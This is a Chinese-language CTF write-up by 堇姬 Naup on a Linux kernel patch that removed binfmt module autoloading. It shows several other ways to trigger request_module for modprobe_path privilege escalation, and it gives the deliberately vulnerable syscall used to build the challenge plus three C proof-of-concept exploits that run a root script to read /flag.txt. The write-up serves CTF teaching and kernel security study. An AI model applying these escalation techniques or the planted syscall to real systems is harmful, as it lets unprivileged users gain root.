# Linux Kernel Patched - exec: remove legacy custom binfmt modules autoloading
> Author : 堇姬 Naup
## Patched
https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04
搜尋執行檔處理器(binary handler)的邏輯中,包含了遺留下來的舊程式碼,用來在系統遇到不支援的執行檔格式時,自動載入對應的核心模組。
這段邏輯是從過去 a.out 轉移到 ELF 格式時保留下來的歷史產物。
但在移除對 a.out 支援之後,這段程式碼已經不再有實際用途。
解決方案:
清除這段位於 binary handler 搜尋邏輯中的舊程式碼。
同時也移除將 retval 初始化為 -ENOENT 的那一行,改為:
如果程式流程走到了函式的最後,就直接回傳 -ENOEXEC。
```c
diff --git a/fs/exec.c b/fs/exec.c
index 4057b8c3e23391..e0435b31a811af 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -1723,13 +1723,11 @@ int remove_arg_zero(struct linux_binprm *bprm)
}
EXPORT_SYMBOL(remove_arg_zero);
-#define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e))
/*
* cycle the list of binary formats handler, until one recognizes the image
*/
static int search_binary_handler(struct linux_binprm *bprm)
{
- bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
@@ -1741,8 +1739,6 @@ static int search_binary_handler(struct linux_binprm *bprm)
if (retval)
return retval;
- retval = -ENOENT;
- retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
@@ -1760,17 +1756,7 @@ static int search_binary_handler(struct linux_binprm *bprm)
}
read_unlock(&binfmt_lock);
- if (need_retry) {
- if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
- printable(bprm->buf[2]) && printable(bprm->buf[3]))
- return retval;
- if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
- return retval;
- need_retry = false;
- goto retry;
- }
-
- return retval;
+ return -ENOEXEC;
}
/* binfmt handlers will call back into begin_new_exec() on success. */
```
## 前置準備
先把 source code 載下來,然後解壓縮
```
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.14.tar.xz
tar -xvf linux-6.14.tar.xz
```
在 `kernel/naup.c` 加入
```c
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kmod.h>
#include <asm/uaccess_64.h>
SYSCALL_DEFINE2(naup, void __user *, kaddr, const char __user *, str) {
char buf[8];
if ((char *)kaddr != modprobe_path) {
printk(KERN_INFO "naup syscall: Invalid address!\n");
return -EPERM;
}
if (copy_from_user(buf, str, 8)) {
printk(KERN_INFO "naup syscall: copy_from_user failed!\n");
return -EFAULT;
}
memcpy(kaddr, buf, 8);
printk(KERN_INFO "naup syscall: copied 8 bytes to modprobe_path (%p)\n", kaddr);
return 0;
}
```
之後去 `kernel/Makefile`
加入
```
obj-y += naup.o
```
去 `arch/x86/entry/syscalls/syscall_64.tbl`
加入
```tbl
549 common naup sys_naup
```
```
make defconfig
```
之後去
```
make -j$(nproc)
```
他會在 `arch/x86/boot/bzImage`
之後就正常的跑 qemu 把他跑起來
完整環境在這裡
https://github.com/Naupjjin/2025-NHNC-CTF-challenge/tree/main/No549
沒錯,我把這題出在了 NHNC CTF 2025 這場上
接下來就是嘗試 EoP 他了,把 PoC 丟上去就可以了
## analyze
根據之前提及的使用 modprobe 來提權
簡單來說便是
search_binary_handle() 遍歷 formats,去嘗試 load_binary()
如果沒有找到對應的 binary handle
就會進入到 `request_module` 分支
https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1764
```c
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
retval = fmt->load_binary(bprm);
read_lock(&binfmt_lock);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
```
他會用 root 權限去執行 modprobe_path
通過覆蓋 modprobe_path 就可以來做提權
https://elixir.bootlin.com/linux/v6.13.7/source/kernel/module/kmod.c#L71
```c
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
```
不過這份 patch 也闡明了,這段 code 本身是時代遺留產物,也因次在這份 patch 整段 code 被修改掉了
從 6.14 的 kernel 開始就沒有這個好用的手法了,畢竟已經不會去呼叫 `request_module` 了,嗎(?
https://elixir.bootlin.com/linux/v6.14-rc1/source/fs/exec.c
```c
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
retval = fmt->load_binary(bprm);
read_lock(&binfmt_lock);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
read_unlock(&binfmt_lock);
return retval;
}
}
read_unlock(&binfmt_lock);
return -ENOEXEC;
```
## Others Way 1
首先是真的沒有其他地方有呼叫到 `request_module` 了嗎
答案是有的
簡單一搜就可以發現有多處仍舊 reference 這個 function
https://elixir.bootlin.com/linux/v6.14-rc1/A/ident/request_module
不過需要注意,要觸發這段 code 需要滿足
- 低權限就可以執行到
- 必須是 Ubuntu、Debian 等主流 Linux 發行版,預設就內建的功能或驅動,而不是需要額外安裝、啟用、或啟用稀有選項才能使用的東西
- 簡單就可以摸到這段 code
這邊就可以使用 `AF_ALG socket`
https://www.kernel.org/doc/html/v6.14/crypto/userspace-if.html
AF_ALG 是 Linux 核心提供的一種 socket family,用於加密
使用者可以透過它來使用 kernel crypto API,例如:SHA1, AES, HMAC 等
這邊可以關注這段
當你去 call `bind` ,他會 call 到 alg_bind
他會去搜尋 `sa->salg_type`
如果沒有搜到就會去 call `request_module`,嘗試去 load "algif-%s"
https://elixir.bootlin.com/linux/v6.14-rc1/source/crypto/af_alg.c#L148
```c
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sockaddr_alg_new *sa = (void *)uaddr;
const struct af_alg_type *type;
void *private;
int err;
if (sock->state == SS_CONNECTED)
return -EINVAL;
BUILD_BUG_ON(offsetof(struct sockaddr_alg_new, salg_name) !=
offsetof(struct sockaddr_alg, salg_name));
BUILD_BUG_ON(offsetof(struct sockaddr_alg, salg_name) != sizeof(*sa));
if (addr_len < sizeof(*sa) + 1)
return -EINVAL;
/* If caller uses non-allowed flag, return error. */
if ((sa->salg_feat & ~allowed) || (sa->salg_mask & ~allowed))
return -EINVAL;
sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
type = alg_get_type(sa->salg_type);
if (PTR_ERR(type) == -ENOENT) {
request_module("algif-%s", sa->salg_type);
type = alg_get_type(sa->salg_type);
}
```
PoC
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <sys/mman.h>
int main(){
system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a");
system("chmod a+x /tmp/a");
unsigned long modprobepath = 0xffffffff82b45b20;
printf("[!]modprobe_path: 0x%lx\n", modprobepath);
syscall(549, modprobepath, "/tmp/a");
struct sockaddr_alg sa;
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("failed");
return 1;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "Naup");
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
return 0;
}
```
## Other way 2
這裡也有可以觸發的,當起去 call websocket 時候
需要去指定他的 Socket 的通訊協定家族(Family)
如果找不到對應的 family 的話,就會去用 `net-pf-%d` 來去 load 看看
這時候就會 call 到 `request_module`
所以只要指定一個不合法的 family 就可以了
PS: 第一個參數就是 domain 或稱作 family,其中『AF_』代表 Address Family,有些系統使用『PF_』(Protocol Family)
https://elixir.bootlin.com/linux/v6.14.11/source/net/socket.c#L1520
```c
#ifdef CONFIG_MODULES
/* Attempt to load a protocol module if the find failed.
*
* 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
* requested real, full-featured networking support upon configuration.
* Otherwise module support will break!
*/
if (rcu_access_pointer(net_families[family]) == NULL)
request_module("net-pf-%d", family);
```
PoC
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mount.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
// https://elixir.bootlin.com/linux/v6.14.11/source/net/socket.c#L1476
int main() {
unsigned long modprobepath = 0xffffffff82b45b20;
system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a");
system("chmod a+x /tmp/a");
syscall(549, modprobepath, "/tmp/a");
int fd = socket(18, SOCK_RAW, htons(ETH_P_ALL));
return 0;
}
```
## Other way 3
socket 非法的 protocol 也行
https://elixir.bootlin.com/linux/v6.15.2/source/net/ipv4/af_inet.c#L252
PoC
```c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define _NR_WRITE 549
// https://elixir.bootlin.com/linux/v6.15.2/source/net/ipv4/af_inet.c#L252
void create_executor(){
system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
}
int main() {
create_executor();
// No Kaslr enabled - yay!
uint64_t modprobe_path = 0xffffffff82b45b20;
uint64_t bin_sh = 0x00782F706D742F; // /tmp/x
long res = syscall(_NR_WRITE, modprobe_path, &bin_sh);
printf("Result: %ld\n", res);
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_MAX - 0x1);
return 0;
}
```
## 總結
總結就是,就算傳統通過不合法檔案執行來觸發 request module 的路線不行了,依舊有相當多的路可以去觸發
思想的話是去找 source code 中 request_module 位置,大致上是使用各種非法的東西
像是本篇的非法的 type、protocol、family 等等的